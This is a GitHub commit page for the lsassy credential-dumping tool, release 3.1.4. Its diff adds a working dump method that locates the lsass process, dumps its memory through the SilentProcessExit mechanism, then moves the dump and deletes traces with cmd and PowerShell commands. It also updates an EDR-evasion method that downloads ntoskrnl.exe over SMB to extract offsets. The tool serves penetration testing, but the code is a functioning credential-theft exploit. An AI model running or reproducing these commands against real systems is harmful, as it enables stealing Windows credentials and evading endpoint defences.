Skip to content

Commit

Permalink
Merge pull request #76 from Hackndo/3.1.4
Browse files Browse the repository at this point in the history
3.1.4
  • Loading branch information
Hackndo authored Nov 9, 2022
2 parents 0ee495f + 2b9f21f commit cf6caa7
Show file tree
Hide file tree
Showing 10 changed files with 63 additions and 11 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# lsassy

[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.3&x2=0)](https://pypi.org/project/lsassy/)
[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.4&x2=0)](https://pypi.org/project/lsassy/)
[![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy)
[![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests)
[![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
Expand Down Expand Up @@ -483,6 +483,7 @@ You can check dummy class for more comments and/or informations.
* [s4ntiago_p](https://twitter.com/s4ntiago_p) for [nanodump](https://github.com/helpsystems/nanodump)
* [0gtweet](https://twitter.com/0gtweet) for [Rdrleakdiag technique](https://twitter.com/0gtweet/status/1299071304805560321)
* [Luis Rocha](https://twitter.com/countuponsec) for [SQLDumper technique](https://twitter.com/countuponsec/status/910969424215232518)
* [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [LsassSilentProcessExit technique](https://github.com/deepinstinct/LsassSilentProcessExit)

## Official Discord Channel

Expand Down
2 changes: 1 addition & 1 deletion lsassy/__init__.py
Original file line number Diff line number Diff line change
@@ -1 +1 @@
__version__ = '3.1.3'
__version__ = '3.1.4'
4 changes: 2 additions & 2 deletions lsassy/console.py
Original file line number Diff line number Diff line change
Expand Up @@ -30,8 +30,8 @@ def main():
help='Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe')
group_dump.add_argument('--timeout', action='store', type=int, default=5,
help='Max time to wait for lsass dump (Default 5s)')
group_dump.add_argument('--time-between-commands', action='store', type=int, default=7,
help='Time to wait between dump methods commands (Default 7s)')
group_dump.add_argument('--time-between-commands', action='store', type=int, default=1,
help='Time to wait between dump methods commands (Default 1s)')
group_dump.add_argument('--parse-only', action='store_true', help='Parse dump without dumping')
group_dump.add_argument('--keep-dump', action='store_true', help='Parse dump without dumping')

Expand Down
5 changes: 5 additions & 0 deletions lsassy/dumpmethod/comsvcs_stealth.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,11 @@ class DumpMethod(IDumpMethod):

def __init__(self, session, timeout, time_between_commands):
super().__init__(session, timeout, time_between_commands)

# If default, set to 7. Otherwise, keep custom time
if self._time_between_commands == 1:
self._time_between_commands = 7

self.comsvcs_copied = False
self.comsvcs_copy_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dll"
self.comsvcs_copy_path = "\\Windows\\Temp\\"
Expand Down
16 changes: 12 additions & 4 deletions lsassy/dumpmethod/edrsandblast.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,19 +21,27 @@ def __init__(self, session, timeout, time_between_commands):
self.tmp_ntoskrnl = "lsassy_" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + ".exe"

def prepare(self, options):
with open('/tmp/{}'.format(self.tmp_ntoskrnl), 'wb') as p:
if os.name == 'nt':
tmp_dir = 'C:\\Windows\\Temp\\'
else:
tmp_dir = '/tmp/'
with open('{}{}'.format(tmp_dir, self.tmp_ntoskrnl), 'wb') as p:
try:
self._session.smb_session.getFile("C$", "\\Windows\\System32\\ntoskrnl.exe", p.write)
logging.success("ntoskrnl.exe downloaded to /tmp/{}".format(self.tmp_ntoskrnl))
logging.success("ntoskrnl.exe downloaded to {}{}".format(tmp_dir, self.tmp_ntoskrnl))
except Exception as e:
logging.error("ntoskrnl.exe download error", exc_info=True)
try:
os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl))
except Exception as e:
return None
return None
self.ntoskrnl.content = self.get_offsets("/tmp/{}".format(self.tmp_ntoskrnl))
self.ntoskrnl.content = self.get_offsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl))

if self.ntoskrnl.content is not None:
logging.success("ntoskrnl offsets extracted")
logging.debug(self.ntoskrnl.content.split("\n")[1])
os.remove('/tmp/{}'.format(self.tmp_ntoskrnl))
os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl))

return self.prepare_dependencies(options, [self.edrsandblast, self.RTCore64, self.ntoskrnl])

Expand Down
35 changes: 35 additions & 0 deletions lsassy/dumpmethod/silentprocessexit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
from lsassy.dumpmethod import IDumpMethod, Dependency


class DumpMethod(IDumpMethod):
#need_debug_privilege = True


def __init__(self, session, timeout, time_between_commands):
super().__init__(session, timeout, time_between_commands)
self.silentprocessexit = Dependency("silentprocessexit", "silentprocessexit.exe")

def prepare(self, options):
return self.prepare_dependencies(options, [self.silentprocessexit])

def clean(self):
self.clean_dependencies([self.silentprocessexit])

def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
cmd_command = [
"""for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} %J 0""".format(
self.silentprocessexit.get_remote_path()
),
"""move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name),
"""del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass"""
]
pwsh_command = [
"{} (Get-Process lsass).Id 0".format(
self.silentprocessexit.get_remote_path()
),
"""move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name),
"""del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass""" ]
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
3 changes: 3 additions & 0 deletions lsassy/logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -59,6 +59,9 @@ def init(quiet=False, no_color=False):
"""
StreamHandler and formatter added to root logger
"""
if (logging.getLogger().hasHandlers()):
logging.getLogger().handlers.clear()

handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(LsassyFormatter(no_color))
logging.getLogger().addHandler(handler)
Expand Down
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[tool.poetry]
name = "lsassy"
version = "3.1.3"
version = "3.1.4"
description = "Tool to remotely extract credentials"
readme = "README.md"
homepage = "https://github.com/hackndo/lsassy"
Expand Down
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

setup(
name="lsassy",
version="3.1.3",
version="3.1.4",
author="Pixis",
author_email="[email protected]",
description="Python library to extract credentials from lsass remotely",
Expand Down
2 changes: 1 addition & 1 deletion tests/test_lsassy.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,4 @@


def test_version():
assert __version__ == '3.1.3'
assert __version__ == '3.1.4'

0 comments on commit cf6caa7

Please sign in to comment.